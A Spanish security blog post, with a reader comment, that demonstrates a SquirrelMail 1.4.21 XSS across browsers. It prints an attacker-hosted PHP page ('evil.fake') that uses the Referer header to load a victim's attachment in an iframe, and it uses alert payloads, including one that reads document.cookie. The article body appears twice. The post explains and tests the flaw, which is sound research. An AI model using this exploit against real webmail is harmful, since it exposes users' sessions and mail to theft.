Como tras la publicación del post con el XSS de Squirrelmail 1.4.21 quedaron algunas dudas, se ha escrito este artículo para mostrar su funcionamiento en diferentes entornos de ejecución.
Modificación del fichero del servidor
Primeramente se modifica el fichero r.php usado en las pruebas anteriores. El fichero está ubicado en un servidor web llamado “evil.fake”
Contenido de “r.php”
<?php
if (isset($_SERVER['HTTP_REFERER'])) {
$referer= $_SERVER['HTTP_REFERER'];
echo '<h1>' . $referer . '</h1>' ;
$my_array = explode('/', $referer);
$elements = count($my_array);
$url = $my_array[0];
for ($i = 1; $i < $elements - 1; $i ++)
$url = $url . '/' . $my_array[$i];
$url = $url . '/download.php?&ent_id=2&mailbox=INBOX&passed_id=';
$position = strpos($referer, 'passed_id=');
$value = substr($referer, $position+10);
$my_array = explode('&', $value);
$url = $url . $my_array[0];
echo '<iframe src="' . $url . '" width=100% height=100%></iframe>';
} else {
echo 'No Referer';
}
?>
Solo se ha cambiado el “ent_id” de la URL que se carga en el IFRAME. Con “ent_id=1” se descarga el cuerpo del mensaje; con “ent_id=2”, su primer adjunto. En las siguientes pruebas, los ficheros “1.txt” y “1.htm” tienen el mismo contenido: <script>alert('XSS')</script>
Ejecución en un entorno con Internet Explorer 8
El usuario recibe el siguiente mensaje:
Figura 1: Mensaje enviado a IE8
El adjunto se llama “1.txt”, un nombre poco sospechoso. Cuando el usuario hace clic en el enlace, el script que contiene se ejecuta:
Figura 2: Ejecución del XSS en IE8
Ejecución en Firefox 3.6.13 sobre Windows
Se recibe el siguiente mensaje:
Figura 3: Mensaje recibido abierto co Firefox
Si se hace clic en el enlace, sale lo siguiente:
Figura 4: El XSS no se ejecuta
No se ejecuta el Script. De hecho, si se invoca directamente la URL del IFRAME:
http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?mailbox=INBOX&passed_id=4&ent_id=2
Figura 5: XSS no ejecutado
Hay una diferencia entre Firefox e IE a la hora de procesar los archivos: IE mira el contenido del documento, determina a qué tipo pertenece (independientemente de su extensión y otras informaciones que pueda tener) y actúa en consecuencia. Esto hace posible la ejecución de un script contenido en un fichero con extensión txt.
Sin embargo, Firefox utiliza la extensión del archivo para determinar su tipo. Si la extensión es txt, simplemente muestra su contenido sin realizar ninguna otra operación.
¿Qué ocurre si la extensión del fichero es htm?
Figura 6: Correo con .html adjunto
Al hacer clic sobre el enlace…
Figura 7: Ahora sí se ejecuta el script
Ejecuión en Firefox 3.6.13 sobre Ubuntu 10.10
En este caso, el archivo “a.htm” ejecuta un “alert(document.cookie).
Figura 8: Correo enviado abierto en Firefox sobre Ubuntu
La URL del mensaje (que está en un marco) es:
http://webmail1.freehostingnoads.net/squirrelmail/src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1
Figura 9: Url en el marco
Si se visita la siguiente URL:
http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?passed_id=1&mailbox=INBOX&ent_id=2
Entonces…
Figura 10: Script ejecutado
Autor: Enrique Rando
Modificación del fichero del servidor
Primeramente se modifica el fichero r.php usado en las pruebas anteriores. El fichero está ubicado en un servidor web llamado “evil.fake”
Contenido de “r.php”
<?php
if (isset($_SERVER['HTTP_REFERER'])) {
$referer= $_SERVER['HTTP_REFERER'];
echo '<h1>' . $referer . '</h1>' ;
$my_array = explode('/', $referer);
$elements = count($my_array);
$url = $my_array[0];
for ($i = 1; $i < $elements - 1; $i ++)
$url = $url . '/' . $my_array[$i];
$url = $url . '/download.php?&ent_id=2&mailbox=INBOX&passed_id=';
$position = strpos($referer, 'passed_id=');
$value = substr($referer, $position+10);
$my_array = explode('&', $value);
$url = $url . $my_array[0];
echo '<iframe src="' . $url . '" width=100% height=100%></iframe>';
} else {
echo 'No Referer';
}
?>
Solo se ha cambiado el “ent_id” de la URL que se carga en el IFRAME. Con “ent_id=1” se descarga el cuerpo del mensaje; con “ent_id=2”, su primer adjunto. En las siguientes pruebas, los ficheros “1.txt” y “1.htm” tienen el mismo contenido: <script>alert('XSS')</script>
Ejecución en un entorno con Internet Explorer 8
El usuario recibe el siguiente mensaje:
Figura 1: Mensaje enviado a IE8
El adjunto se llama “1.txt”, un nombre poco sospechoso. Cuando el usuario hace clic en el enlace, el script que contiene se ejecuta:
Figura 2: Ejecución del XSS en IE8
Ejecución en Firefox 3.6.13 sobre Windows
Se recibe el siguiente mensaje:
Figura 3: Mensaje recibido abierto co Firefox
Si se hace clic en el enlace, sale lo siguiente:
Figura 4: El XSS no se ejecuta
No se ejecuta el Script. De hecho, si se invoca directamente la URL del IFRAME:
http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?mailbox=INBOX&passed_id=4&ent_id=2
se produce el siguiente mensaje:
Figura 5: XSS no ejecutado
Hay una diferencia entre Firefox e IE a la hora de procesar los archivos: IE mira el contenido del documento, determina a qué tipo pertenece (independientemente de su extensión y otras informaciones que pueda tener) y actúa en consecuencia. Esto hace posible la ejecución de un script contenido en un fichero con extensión txt.
Sin embargo, Firefox utiliza la extensión del archivo para determinar su tipo. Si la extensión es txt, simplemente muestra su contenido sin realizar ninguna otra operación.
¿Qué ocurre si la extensión del fichero es htm?
Figura 6: Correo con .html adjunto
Al hacer clic sobre el enlace…
Figura 7: Ahora sí se ejecuta el script
Ejecuión en Firefox 3.6.13 sobre Ubuntu 10.10
En este caso, el archivo “a.htm” ejecuta un “alert(document.cookie).
Figura 8: Correo enviado abierto en Firefox sobre Ubuntu
La URL del mensaje (que está en un marco) es:
http://webmail1.freehostingnoads.net/squirrelmail/src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1
Figura 9: Url en el marco
Si se visita la siguiente URL:
http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?passed_id=1&mailbox=INBOX&ent_id=2
Entonces…
Figura 10: Script ejecutado
Autor: Enrique Rando
Buen post!
ResponderEliminarSoy el anonimo que dijo que no ejecutaba el script en chrome. Ahora ya me ha quedado claro que es lo que pasaba, gracias ;)